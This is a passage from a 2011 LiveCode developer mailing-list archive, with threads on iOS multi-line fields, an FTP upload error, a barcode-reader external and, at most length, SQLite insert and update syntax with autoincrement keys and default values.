mouse is down then ... >>>>> >>>>> What about the arrow keys ? >>>>> >>>>> All the best >>>>> >>>>> Paolo >>>>> >>>>> _______________________________________________ >>>>> use-livecode mailing list >>>>> use-livecode at lists.runrev.com >>>>> Please visit this url to subscribe, unsubscribe and manage your >>>>> subscription preferences: >>>>> http://lists.runrev.com/mailman/listinfo/use-livecode >>>>> >>>> _______________________________________________ >>>> use-livecode mailing list >>>> use-livecode at lists.runrev.com >>>> Please visit this url to subscribe, unsubscribe and manage your >>> subscription preferences: >>>> http://lists.runrev.com/mailman/listinfo/use-livecode >>> >>> _______________________________________________ >>> use-livecode mailing list >>> use-livecode at lists.runrev.com >>> Please visit this url to subscribe, unsubscribe and manage your >>> subscription preferences: >>> http://lists.runrev.com/mailman/listinfo/use-livecode >>> >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From brucebaker11 at mac.com Tue Dec 20 12:00:57 2011 From: brucebaker11 at mac.com (Bruce Baker) Date: Tue, 20 Dec 2011 12:00:57 -0500 Subject: [iOS] Multi Line Field issues Message-ID: <563B5F17-B3A6-4E03-B111-ABB18254F177@mac.com> I have run into a few issues with the Multi Line Field for iOS. Has anyone managed to get the 'new' scrollToVisibleRange working? I have tried dozens of ways to get it to work with no success. It seems that the best place to put the scrollToVisibleRange would be in the inputReturnKey since once that is hit I then would like to scroll to the new line. But that doesn't cover wrapped lines. So the next logical place seems the inputTextChanged but I can't seem to get it to work there. I then tried resizing the field since part of it is showing above the keyboard and if I bring the bottom of the field up to just below the keyboard then the field automatically will scroll to the next line. I thought I would raise the fields bottom during editing and then set the height back on inputEndEditing. But that doesn't work either. Here are some of the problems I have run into: scrollToVisibleRange: isn't clear where to put this or how to get it too work on a multi line field where part of the field is blocked by the keyboard. inputReturnKey does not trigger when hitting the Return Key when using a MultiLineField yet it is declared in the release notes for MultiLineFields as a valid message that is received? It does not appear that iPhoneControlSet "ID", "rect", 200,200,200,200 works during runtime after the first time. It can be set once right after creating the multilinefield but then it can't be changed again during inputBeginEditing or inputTextChanged etc.? Tom McGrath at work.... From jacque at hyperactivesw.com Tue Dec 20 12:19:00 2011 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Tue, 20 Dec 2011 11:19:00 -0600 Subject: arrowKey In-Reply-To: References: <0B9D665C-1CC2-45BD-B63A-08C636884D2D@gmail.com> Message-ID: <4EF0C384.5030705@hyperactivesw.com> On 12/20/11 10:07 AM, Bob Sneidar wrote: > Jacque was wearing it yesterday, along with a white kneehigh with > blue and red stripes. I found it in my sock drawer. I thought it was yours. -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From dan at clearvisiontech.com Tue Dec 20 12:55:24 2011 From: dan at clearvisiontech.com (Dan Friedman) Date: Tue, 20 Dec 2011 09:55:24 -0800 Subject: FTP on iOS In-Reply-To: References: Message-ID: <4A9BDF5B-ECCE-47E3-AFCC-76610D007AF3@clearvisiontech.com> Greetings! I have a button on a iPad project with this script: on mouseUp put "ftp://myUserName:myPassword at 10.10.10.10/testFile.txt" into saveURL --the names were changed to protect the innocent put "This is a test." into dataToSave put dataToSave into url saveURL put the result into tResult if tResult <> "" then answer tResult else answer "OK" end if end mouseUp When I tap this button in the Simulator, tResult is "The operation couldn't be completed. (kCFErrorDomainCFNetwork error 200.)" This works without error in the IDE. Any thoughts? Thanks in advance, Dan From henshaw at me.com Tue Dec 20 12:59:02 2011 From: henshaw at me.com (Andrew Henshaw) Date: Tue, 20 Dec 2011 17:59:02 +0000 Subject: [ANN] iOS Barcode Reader External Demo In App Store In-Reply-To: References: <7661DB3D-922E-42F3-9386-248E53F82586@sweattechnologies.com> <890E58EB-A3DF-4474-9DD0-2AE3D8996B46@gmail.com> Message-ID: <9D92C563-0BB1-41AA-9556-F86DAA35911A@me.com> Great job, look forward to seeing it on revselect! Any chance you can extend it a little so it can work on a mac desktop as well??? Im getting requests for such a feature, as most have cameras and it would be neat to be able to hold a barcode up there and have that read as well as on iOS. Adndy On 20 Dec 2011, at 10:56, Monte Goulding wrote: > Hi Gerry > > At the moment the external just looks for a wide range of barcode types and needs to sort out which is which. I'm changing it so when calling the function you specify which type of barcode you want it to look for which should improve performance. > > Cheers > > -- > Monte Goulding > > On 20/12/2011, at 8:30 PM, Gerry Orkin wrote: > >> QR codes scan almost instantly - Code 128 take a fair bit longer. QR suits my immediate purpose so I'm fine with that, but is there any reason Code 128 takes so much longer? >> >> Gerry >> >> >> On 20/12/2011, at 1:11 PM, Gerry Orkin wrote: >> >>> Monte >>> >>> Works perfectly for me! Great work, and smart move to push it through the store to check compliance. I'm lining up to purchase this :) >>> >>> Gerry >> >> >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From henshaw at me.com Tue Dec 20 12:59:02 2011 From: henshaw at me.com (Andrew Henshaw) Date: Tue, 20 Dec 2011 17:59:02 +0000 Subject: [ANN] iOS Barcode Reader External Demo In App Store In-Reply-To: References: <7661DB3D-922E-42F3-9386-248E53F82586@sweattechnologies.com> <890E58EB-A3DF-4474-9DD0-2AE3D8996B46@gmail.com> Message-ID: <9D92C563-0BB1-41AA-9556-F86DAA35911A@me.com> Great job, look forward to seeing it on revselect! Any chance you can extend it a little so it can work on a mac desktop as well??? Im getting requests for such a feature, as most have cameras and it would be neat to be able to hold a barcode up there and have that read as well as on iOS. Adndy On 20 Dec 2011, at 10:56, Monte Goulding wrote: > Hi Gerry > > At the moment the external just looks for a wide range of barcode types and needs to sort out which is which. I'm changing it so when calling the function you specify which type of barcode you want it to look for which should improve performance. > > Cheers > > -- > Monte Goulding > > On 20/12/2011, at 8:30 PM, Gerry Orkin wrote: > >> QR codes scan almost instantly - Code 128 take a fair bit longer. QR suits my immediate purpose so I'm fine with that, but is there any reason Code 128 takes so much longer? >> >> Gerry >> >> >> On 20/12/2011, at 1:11 PM, Gerry Orkin wrote: >> >>> Monte >>> >>> Works perfectly for me! Great work, and smart move to push it through the store to check compliance. I'm lining up to purchase this :) >>> >>> Gerry >> >> >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From pmbrig at gmail.com Tue Dec 20 13:38:37 2011 From: pmbrig at gmail.com (Peter M. Brigham, MD) Date: Tue, 20 Dec 2011 11:38:37 -0700 Subject: arrowKey In-Reply-To: <4EF0C384.5030705@hyperactivesw.com> References: <0B9D665C-1CC2-45BD-B63A-08C636884D2D@gmail.com> <4EF0C384.5030705@hyperactivesw.com> Message-ID: <117594DD-493E-452E-BEBD-A8F59595AF63@gmail.com> Nope, it's mine. I hope at least it got to you *after* it went through my wash cycle.... If not, I apologize. I'm definitely putting in an enhancement request to the QC to extend the find command to socks. I bet Scott Raney anticipated the need and built it into an obscure corner of the engine somewhere. -- Peter Peter M. Brigham pmbrig at gmail.com http://home.comcast.net/~pmbrig On Dec 20, 2011, at 10:19 AM, J. Landman Gay wrote: > On 12/20/11 10:07 AM, Bob Sneidar wrote: >> Jacque was wearing it yesterday, along with a white kneehigh with >> blue and red stripes. > > I found it in my sock drawer. I thought it was yours. > > > -- > Jacqueline Landman Gay | jacque at hyperactivesw.com > HyperActive Software | http://www.hyperactivesw.com > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From mike at doub.com Tue Dec 20 14:31:07 2011 From: mike at doub.com (Michael Doub) Date: Tue, 20 Dec 2011 14:31:07 -0500 Subject: Database syntax Message-ID: Could I trouble someone for an example of how to insert a row in a SQLite database with a live code array then update that same record with an updated array? put revOpenDatabase("sqlite", thePath, , , , ) into tID put the "CREATE TABLE ContactData ( " & \ "myKey integer PRIMARY KEY autoincrement," & \ "RecordType text," & \ "RecID text," & \ "Name text," & \ "GroupNbr text," & \ "LastContact, text," & \ "DaysTill text," & \ "DataArray blob) " into tSQL revExecuteSQL tID, tSQL I think that I am ok up to here. I want to insert a record that has a RecordType of "0", all other fields empty except I want to put an livecode array into DataArray. This will get the array into text: put arrayEncode(tSettings) into tSettings; put base64Encode(tSettings) into tSettings I am unclear on how to do the insert or an update. Do I somehow have to create a long SQL statement with the actual data in the statement? A second database question. Does the myKey variable automatically get set to a unique value when data is inserted? Thanks in advance, Mike From pete at mollysrevenge.com Tue Dec 20 15:15:55 2011 From: pete at mollysrevenge.com (Pete) Date: Tue, 20 Dec 2011 12:15:55 -0800 Subject: Database syntax In-Reply-To: References: Message-ID: HI Michael, To get the myKey column automatically incremented by 1 each time you add a row to your table, add "NOT NULL" to it's definition in your CREATE TABLE statement, and do not supply a value for myKey when you issue an INSERT command for the table. I recommend that you define default values for each of you columns using the DEFAULT keyword. In your case, that means zero for RecordType. If you don;t specify a DEFAULT value and don;t provide a value in the INSERT command, SQL will put a NULL in there and my experience is that will cause you complications further down the line so I'd recommend that you come up with actual default values for the other columns (Space, zero, etc) and put them in the CREATE statement If you do all that, the command to add a row to your table will be INSERT INTO ContactData (DataArray) VALUES () Write some code to make that statement then call revexecuteSQL to insert the row into your table. NOte that your encoded sting must be enclosed in single quotes. To update an entry, the SQL sytax is: UPDATE ContactData SET , , ... WHERE Use revExecuteSQL again to issue the command. In this case, you only need to specify the columns and their values that have changed. Frequently, the selection critria will be the value of your myKey column, eg WHERE myKEY=3 but you can update multiple records with one UPDATE statement by using the WHERE to select them, if that's what you need to do. There are LC products pout there that will make some of this easier, SQLYoga for one, and I will be releasing my SQL plugin helper for LC in January which elminate the need for you to write any SQL or LC code to do what you want to do :-) Hope that helps, Pete On Tue, Dec 20, 2011 at 11:31 AM, Michael Doub wrote: > Could I trouble someone for an example of how to insert a row in a SQLite > database with a live code array then update that same record with an > updated array? > > put revOpenDatabase("sqlite", thePath, , , , ) into tID > put the "CREATE TABLE ContactData ( " & \ > "myKey integer PRIMARY KEY autoincrement," & \ > "RecordType text," & \ > "RecID text," & \ > "Name text," & \ > "GroupNbr text," & \ > "LastContact, text," & \ > "DaysTill text," & \ > "DataArray blob) " into tSQL > revExecuteSQL tID, tSQL > > I think that I am ok up to here. I want to insert a record that has a > RecordType of "0", all other fields empty except I want to put an livecode > array into DataArray. > > This will get the array into text: > put arrayEncode(tSettings) into tSettings; put base64Encode(tSettings) > into tSettings > > I am unclear on how to do the insert or an update. Do I somehow have to > create a long SQL statement with the actual data in the statement? > > A second database question. Does the myKey variable automatically get set > to a unique value when data is inserted? > > Thanks in advance, > Mike > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > > -- Pete Molly's Revenge From bobs at twft.com Tue Dec 20 15:43:57 2011 From: bobs at twft.com (Bob Sneidar) Date: Tue, 20 Dec 2011 12:43:57 -0800 Subject: Database syntax In-Reply-To: References: Message-ID: <6AB0FAE4-B005-4A48-9CB8-1CEDDD8D794D@twft.com> put "INSERT into (RecordType,DataArray) VALUES (0,)" into theSQL replace "" with theTblName in tSQL replace "" with quote & theArrayText & quote in tSQL revExecuteSQL tID, tSQL That is how I would do it. It's easier sometimes to create an SQL statement using placeholders like and then replace them with a variable containing the actual value in the code. I may have the syntax messed up there (not tested use at your own risk) but that is essentially how it's done. In answer to your second question, yes the myKey will get a unique value each time a record is inserted. It will get a number equal to the last inserted record +1. It does this because your table is defined having the autoincrement set for the myKey column. Also, the advice for using defaults whenever you can is good advice, but sometimes you don't want that. Sometimes you want to test for NULL to see if a value has ever been assigned, putting an empty string if a value is ever deleted. It's a matter of technique I suppose. But if you don't provide a default, then NULL will be assigned. If NOT NULL is set for a column, and you do not provide a value or a default, it will throw an error. That is the gotcha. Bob On Dec 20, 2011, at 11:31 AM, Michael Doub wrote: > Could I trouble someone for an example of how to insert a row in a SQLite database with a live code array then update that same record with an updated array? > > put revOpenDatabase("sqlite", thePath, , , , ) into tID > put the "CREATE TABLE ContactData ( " & \ > "myKey integer PRIMARY KEY autoincrement," & \ > "RecordType text," & \ > "RecID text," & \ > "Name text," & \ > "GroupNbr text," & \ > "LastContact, text," & \ > "DaysTill text," & \ > "DataArray blob) " into tSQL > revExecuteSQL tID, tSQL > > I think that I am ok up to here. I want to insert a record that has a RecordType of "0", all other fields empty except I want to put an livecode array into DataArray. > > This will get the array into text: > put arrayEncode(tSettings) into tSettings; put base64Encode(tSettings) into tSettings > > I am unclear on how to do the insert or an update. Do I somehow have to create a long SQL statement with the actual data in the statement? > > A second database question. Does the myKey variable automatically get set to a unique value when data is inserted? > > Thanks in advance, > Mike > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From bobs at twft.com Tue Dec 20 15:50:13 2011 From: bobs at twft.com (Bob Sneidar) Date: Tue, 20 Dec 2011 12:50:13 -0800 Subject: Database syntax In-Reply-To: References: Message-ID: I should probably also mention that it would be better to set all your column values in the insert statement. Otherwise you will have to query for the last inserted primary key and use that in your next UPDATE statement's WHERE clause. Bob > put "INSERT into (RecordType,DataArray) VALUES (0,)" into theSQL > replace "" with theTblName in tSQL > replace "" with quote & theArrayText & quote in tSQL > revExecuteSQL tID, tSQL > > That is how I would do it. It's easier sometimes to create an SQL statement using placeholders like and then replace them with a variable containing the actual value in the code. > > I may have the syntax messed up there (not tested use at your own risk) but that is essentially how it's done. > > In answer to your second question, yes the myKey will get a unique value each time a record is inserted. It will get a number equal to the last inserted record +1. It does this because your table is defined having the autoincrement set for the myKey column. > > Also, the advice for using defaults whenever you can is good advice, but sometimes you don't want that. Sometimes you want to test for NULL to see if a value has ever been assigned, putting an empty string if a value is ever deleted. It's a matter of technique I suppose. But if you don't provide a default, then NULL will be assigned. If NOT NULL is set for a column, and you do not provide a value or a default, it will throw an error. That is the gotcha. > > Bob > > > On Dec 20, 2011, at 11:31 AM, Michael Doub wrote: > >> Could I trouble someone for an example of how to insert a row in a SQLite database with a live code array then update that same record with an updated array? >> >> put revOpenDatabase("sqlite", thePath, , , , ) into tID >> put the "CREATE TABLE ContactData ( " & \ >> "myKey integer PRIMARY KEY autoincrement," & \ >> "RecordType text," & \ >> "RecID text," & \ >> "Name text," & \ >> "GroupNbr text," & \ >> "LastContact, text," & \ >> "DaysTill text," & \ >> "DataArray blob) " into tSQL >> revExecuteSQL tID, tSQL >> >> I think that I am ok up to here. I want to insert a record that has a RecordType of "0", all other fields empty except I want to put an livecode array into DataArray. >> >> This will get the array into text: >> put arrayEncode(tSettings) into tSettings; put base64Encode(tSettings) into tSettings >> >> I am unclear on how to do the insert or an update. Do I somehow have to create a long SQL statement with the actual data in the statement? >> >> A second database question. Does the myKey variable automatically get set to a unique value when data is inserted? >> >> Thanks in advance, >> Mike From mike at doub.com Tue Dec 20 15:51:44 2011 From: mike at doub.com (Michael Doub) Date: Tue, 20 Dec 2011 15:51:44 -0500 Subject: Database syntax In-Reply-To: References: Message-ID: <76FFFAD9-C9C7-43EC-8AAD-DE5A5B2E19FD@doub.com> Thanks Pete, I just found an example that indicated that I don't need to use the base64encoding. Is this true? "*b" put "INSERT into ContactData (" & \ "myKey," & \ "RecordType," & \ "RecID," & \ "Name," & \ "GroupNbr," & \ "LastContact," & \ "DaysTill," & \ "DataArray) " & \ "Values (:1,:2,:3,:4,:5,:6,:7,:8 )" into tUpSQL put the pNetDB of stack "MyNetwork" into sNetConnID put empty into x put 0 into tRT revExecuteSQL sNetConnID, tUpSQL, "x","tRT","x","x","x","x","x","*btSettings" If I understand you correctly you are recommending that I make sure that x = Space or something else other than empty. Correct? I need to go lookup the details of the default key word. If I use it would the above syntax be simplified to: put "INSERT into ContactData (" & \ "RecordType," & \ "DataArray) " & \ "Values (:1,:2 )" into tUpSQL put the pNetDB of stack "MyNetwork" into sNetConnID put empty into x put 0 into tRT revExecuteSQL sNetConnID, tUpSQL,"tRT","*btSettings" Can I use this substitution trick with any SQL statement, specifically the updating? I am working on an app for IOS and I am worried about memory consumption. Ideally I would have liked to just use arrays and been done with it, but memory concerns have me trying to learn SQL and rev's implementation. This is why I am shying away from helper tools. My thinking is that these tools must be pretty sophisticated, and that translates into memory usage. For a PC app, i would use them for sure. -= Mike From pete at mollysrevenge.com Tue Dec 20 16:03:45 2011 From: pete at mollysrevenge.com (Pete) Date: Tue, 20 Dec 2011 13:03:45 -0800 Subject: Database syntax In-Reply-To: References: Message-ID: I'm not sure I follow that logic :-) What's the point of autoincrement if he has to supply the primary key value and how does he get the next available primary key value for the insert? On Tue, Dec 20, 2011 at 12:50 PM, Bob Sneidar wrote: > I should probably also mention that it would be better to set all your > column values in the insert statement. Otherwise you will have to query for > the last inserted primary key and use that in your next UPDATE statement's > WHERE clause. -- Pete Molly's Revenge From pete at mollysrevenge.com Tue Dec 20 16:21:28 2011 From: pete at mollysrevenge.com (Pete) Date: Tue, 20 Dec 2011 13:21:28 -0800 Subject: Database syntax In-Reply-To: <76FFFAD9-C9C7-43EC-8AAD-DE5A5B2E19FD@doub.com> References: <76FFFAD9-C9C7-43EC-8AAD-DE5A5B2E19FD@doub.com> Message-ID: Hi Michael, I guess the use of DEFAULT is a philosophical thing. I like to have the database do everything it can do for me rather than have to add code to the application but not everyone wants to do that.SImilarly with NULL values, I don;t like having them in my database because it feels like I wasn't sure what to put into that field, plus if you forget to include a value for a column during INSERT, it will end up as NULL which may produce unexpected results down the line. So I always code my columns with NOT NULL and specify a default value. But once again, it's a philosophical decision on my part. Since my last reply, I looked back at the db I'm storing arrays in and I use a TEXT column to store the bas64encoded values in, not a blob. I believe I tried a blob and had problems getting it to work, but don;t remember for sure. All I can say for sure is that storing a base64 encoded value in a TEXT column works just fine. Your shortened INSERT statement would be correct if you supply default values in your schema - you don;t need the" put empty into x" or "put 0 into tRT" The syntax for declaring a DEFUAL VALUE would be (for example): GroupNbr NOT NULL DEFAULT 0 Since you're developing for iOS, I assume your using SQLite. IF so, you can find the documentation for it at http://www.sqlite.org/lang.html Pete On Tue, Dec 20, 2011 at 12:51 PM, Michael Doub wrote: > Thanks Pete, > > I just found an example that indicated that I don't need to use the > base64encoding. Is this true? "*b" > > put "INSERT into ContactData (" & \ > "myKey," & \ > "RecordType," & \ > "RecID," & \ > "Name," & \ > "GroupNbr," & \ > "LastContact," & \ > "DaysTill," & \ > "DataArray) " & \ > "Values (:1,:2,:3,:4,:5,:6,:7,:8 )" into tUpSQL > put the pNetDB of stack "MyNetwork" into sNetConnID > put empty into x > put 0 into tRT > revExecuteSQL sNetConnID, tUpSQL, > "x","tRT","x","x","x","x","x","*btSettings" > > If I understand you correctly you are recommending that I make sure that x > = Space or something else > other than empty. Correct? > > I need to go lookup the details of the default key word. If I use it > would the above syntax be > simplified to: > > put "INSERT into ContactData (" & \ > "RecordType," & \ > "DataArray) " & \ > "Values (:1,:2 )" into tUpSQL > put the pNetDB of stack "MyNetwork" into sNetConnID > put empty into x > put 0 into tRT > revExecuteSQL sNetConnID, tUpSQL,"tRT","*btSettings" > > > Can I use this substitution trick with any SQL statement, specifically the > updating? > > > I am working on an app for IOS and I am worried about memory consumption. > Ideally I would > have liked to just use arrays and been done with it, but memory concerns > have me trying to learn > SQL and rev's implementation. This is why I am shying away from helper > tools. My thinking is > that these tools must be pretty sophisticated, and that translates into > memory usage. For a PC > app, i would use them for sure. > > -= Mike > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > > -- Pete Molly's Revenge From bobs at twft.com Tue Dec 20 16:39:39 2011 From: bobs at twft.com (Bob Sneidar) Date: Tue, 20 Dec 2011 13:39:39 -0800 Subject: Database syntax In-Reply-To: <76FFFAD9-C9C7-43EC-8AAD-DE5A5B2E19FD@doub.com> References: <76FFFAD9-C9C7-43EC-8AAD-DE5A5B2E19FD@doub.com> Message-ID: <8FB828F7-4D37-4DA2-A34C-B7958459BD89@twft.com> On Dec 20, 2011, at 12:51 PM, Michael Doub wrote: > I need to go lookup the details of the default key word. If I use it would the above syntax be > simplified to: > > put "INSERT into ContactData (" & \ > "RecordType," & \ > "DataArray) " & \ > "Values (:1,:2 )" into tUpSQL > put the pNetDB of stack "MyNetwork" into sNetConnID > put empty into x > put 0 into tRT > revExecuteSQL sNetConnID, tUpSQL,"tRT","*btSettings" > Yes it would, so long as the default is what you want for new records. > Can I use this substitution trick with any SQL statement, specifically the updating? No just inserts. After that you only need to include columns that have altered in your SQL statements, if you are concerned about efficiency, although the statements themselves use very little bandwidth. What will use bandwidth is select statements that return large data sets, but I don't think that will be an issue for you. Are arrays on mobile devices more memory intensive than an sqLite database? Bob From bobs at twft.com Tue Dec 20 17:02:48 2011 From: bobs at twft.com (Bob Sneidar) Date: Tue, 20 Dec 2011 14:02:48 -0800 Subject: Database syntax In-Reply-To: References: Message-ID: <411A0360-64FF-4C8A-A9BE-C8FB4AD23CA5@twft.com> Sorry I didn't mean for *ALL* to include the autoincrement primary key column. :-) I meant all the others that did not use defaults, or have a value other than the default value. It's the difference between one query and three. If autoincrement is set for a column, any value passed will set the next autoincrement for the column to that value +1. So it kind of doesn't make any sense to pass a value for an autoincrement column, unless you are going to try and fill in the gaps from deleted records. Bob On Dec 20, 2011, at 1:03 PM, Pete wrote: > I'm not sure I follow that logic :-) What's the point of autoincrement if > he has to supply the primary key value and how does he get the next > available primary key value for the insert? > > On Tue, Dec 20, 2011 at 12:50 PM, Bob Sneidar wrote: > >> I should probably also mention that it would be better to set all your >> column values in the insert statement. Otherwise you will have to query for >> the last inserted primary key and use that in your next UPDATE statement's >> WHERE clause. > > > > > -- > Pete > Molly's Revenge > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From pete at mollysrevenge.com Tue Dec 20 17:09:26 2011 From: pete at mollysrevenge.com (Pete) Date: Tue, 20 Dec 2011 14:09:26 -0800 Subject: Database syntax In-Reply-To: <8FB828F7-4D37-4DA2-A34C-B7958459BD89@twft.com> References: <76FFFAD9-C9C7-43EC-8AAD-DE5A5B2E19FD@doub.com> <8FB828F7-4D37-4DA2-A34C-B7958459BD89@twft.com> Message-ID: You can use the :1, :2, etc syntax for updates as well as inserts, irrespective of how many columns you are updating. On Tue, Dec 20, 2011 at 1:39 PM, Bob Sneidar wrote: > No just inserts. After that you only need to include columns that have > altered in your SQL statements, if you are concerned about efficiency, > although the statements themselves use very little bandwidth. What will use > bandwidth is select statements that return large data sets, but I don't > think that will be an issue for you. -- Pete Molly's Revenge From mike at doub.com Tue Dec 20 17:49:22 2011 From: mike at doub.com (Michael Doub) Date: Tue, 20 Dec 2011 17:49:22 -0500 Subject: Database syntax In-Reply-To: <8FB828F7-4D37-4DA2-A34C-B7958459BD89@twft.com> References: <76FFFAD9-C9C7-43EC-8AAD-DE5A5B2E19FD@doub.com> <8FB828F7-4D37-4DA2-A34C-B7958459BD89@twft.com> Message-ID: Bob, this is a really interesting question. I am not sure. I was researching this but got side tracked when I found that the performance of the datagrid when driven by a 1000 entry dgData array did not perform well. I switched to the using a database at that point as I felt that I did not have much of a choice as performance trumps memory in my mind. -= Mike > > Are arrays on mobile devices more memory intensive than an sqLite database? > From bobs at twft.com Tue Dec 20 17:52:47 2011 From: bobs at twft.com (Bob Sneidar) Date: Tue, 20 Dec 2011 14:52:47 -0800 Subject: Database syntax In-Reply-To: References: <76FFFAD9-C9C7-43EC-8AAD-DE5A5B2E19FD@doub.com> <8FB828F7-4D37-4DA2-A34C-B7958459BD89@twft.com> Message-ID: <3469A6B5-9AC5-4097-8BA4-7778517DDE6E@twft.com> Oh I thought he was talking about defaults. I see what he meant by substitution trick. Bob On Dec 20, 2011, at 2:09 PM, Pete wrote: > You can use the :1, :2, etc syntax for updates as well as inserts, > irrespective of how many columns you are updating. > > > > On Tue, Dec 20, 2011 at 1:39 PM, Bob Sneidar wrote: > >> No just inserts. After that you only need to include columns that have >> altered in your SQL statements, if you are concerned about efficiency, >> although the statements themselves use very little bandwidth. What will use >> bandwidth is select statements that return large data sets, but I don't >> think that will be an issue for you. > > > > > -- > Pete > Molly's Revenge > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From bdrunrev at gmail.com Tue Dec 20 18:44:43 2011 From: bdrunrev at gmail.com (Bernard Devlin) Date: Tue, 20 Dec 2011 23:44:43 +0000 Subject: Database syntax In-Reply-To: References: <76FFFAD9-C9C7-43EC-8AAD-DE5A5B2E19FD@doub.com> <8FB828F7-4D37-4DA2-A34C-B7958459BD89@twft.com> Message-ID: In my experience _no database_ will outperform arrays as data storage. The simple reason is that a) arrays are stored in memory b) Of course, if you run out of memory, you are in dangerous territory anyway. If you read some of the arguments of Ruslan (of Valentina fame), even he admits that native in-memory data structures are faster than database access. And he usually does that whilst he's in the process of arguing that sqlite is much slower than Valentina. In following those arguments, I've seen Ruslan argue that sqlite's speedy performance comes at the cost of high memory usage (he argues Valentina performs faster, and is designed to only use small amounds of memory). Think about it: if you are setting the dgData of a Datagrid to an array of 1,000 items, if you are having to get that data from a disk-based database before putting it into the dgData, then that is going to be slower. The only way in which things could be faster, would be if the Datagrid was only asking for data as it was scrolled/sorted. If you have a lot of blob data to display, and the aggregated size of that data is more than the memory you have available, then you are going to have to bring it in from disk. Whether or not it is faster to do that than to store it on the filesystem (with your 1,000 member array just containing the path to the binary data), I do not know. My experiments some years ago using millions of rows of numeric data, demonstrated to me that nothing available to Livecode except its own arrays really proved a suitably fast datastore (I compared it with in-memory databases, accessing some high-cost commercial databases with in-memory tables too). One thing that has not been brought out so far in this discussion is that when passing data to a SQL statement in Livecode, it is possible to have your data stored in an array with numbered keys e.g. myArray[1], myArray[2]... and then to pass that array's name to the Livecode SQL functions using :1, :2... to pass in the data. Search the following page for this line of text: | revExecuteSQL myID,"insert into mytable values(:1,:2,:1)","myArray" | http://docs.runrev.com/Command/revExecuteSQL Bernard On Tue, Dec 20, 2011 at 10:49 PM, Michael Doub wrote: > Bob, this is a really interesting question. ? I am not sure. ? ?I was researching this but got > side tracked when I found that the performance of the datagrid when driven by a 1000 entry > dgData array did not perform well. ?I switched to the using a database at that point as > I felt that I did not have much of a choice as performance trumps memory in my mind. > > -= Mike > > > >> >> Are arrays on mobile devices more memory intensive than an sqLite database? >> > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From bdrunrev at gmail.com Tue Dec 20 18:46:37 2011 From: bdrunrev at gmail.com (Bernard Devlin) Date: Tue, 20 Dec 2011 23:46:37 +0000 Subject: Database syntax In-Reply-To: References: <76FFFAD9-C9C7-43EC-8AAD-DE5A5B2E19FD@doub.com> <8FB828F7-4D37-4DA2-A34C-B7958459BD89@twft.com> Message-ID: >> In my experience _no database_ will outperform arrays as data storage. The simple reason is that a) arrays are stored in memory b) << sigh :) b) arrays have no machinery (null checking, referential integrity, etc.) that would slow them down. Bernard From cszasz at mac.com Tue Dec 20 18:54:24 2011 From: cszasz at mac.com (Charles Szasz) Date: Tue, 20 Dec 2011 18:54:24 -0500 Subject: Cannot focus on a datagrid?? Message-ID: <42504C58-DD1D-4DB2-B063-1893806C0236@mac.com> Bob, Can I asked you a question? I have a DataGrid with one label field. I have been trying to add an Edit Field to the DataGrid where the user can enter ratings for each of the 28 statements that are used in the label field in the DataGrid. So far, I have been unsuccessfully in implementing an Edit Field in the DataGrid. Has anybody used an Edit Field in a DataGrid? If so, how did you script it? Charles Szasz cszasz at mac.com From pete at mollysrevenge.com Tue Dec 20 19:09:08 2011 From: pete at mollysrevenge.com (Pete) Date: Tue, 20 Dec 2011 16:09:08 -0800 Subject: Database syntax In-Reply-To: References: <76FFFAD9-C9C7-43EC-8AAD-DE5A5B2E19FD@doub.com> <8FB828F7-4D37-4DA2-A34C-B7958459BD89@twft.com> Message-ID: Yes, forgot to mention that - it's in the dictionary entry for revExecuteSQL as well. I think the decision as to whether to use a database versus LC internal storage depends on a lot of factors, including memory and access speed, but also multi-user issues, the application's access requirements, availability of the data to other applications, etc. I've personally never run into either memory or performance issues with SQLite but I'm mainly dealing with tables that contain < 10,000 entries and almost always working on a subset of them. No doubt using LC internal storage would be faster but not to any significant degree for dbs of that size. In my case, I almost always need the relational aspects of a database to handle the data so SQL databases work for me - horses for courses as they say. On Tue, Dec 20, 2011 at 3:44 PM, Bernard Devlin wrote: > One thing that has not been brought out so far in this discussion is > that when passing data to a SQL statement in Livecode, it is possible > to have your data stored in an array with numbered keys e.g. > myArray[1], myArray[2]... and then to pass that array's name to the > Livecode SQL functions using :1, 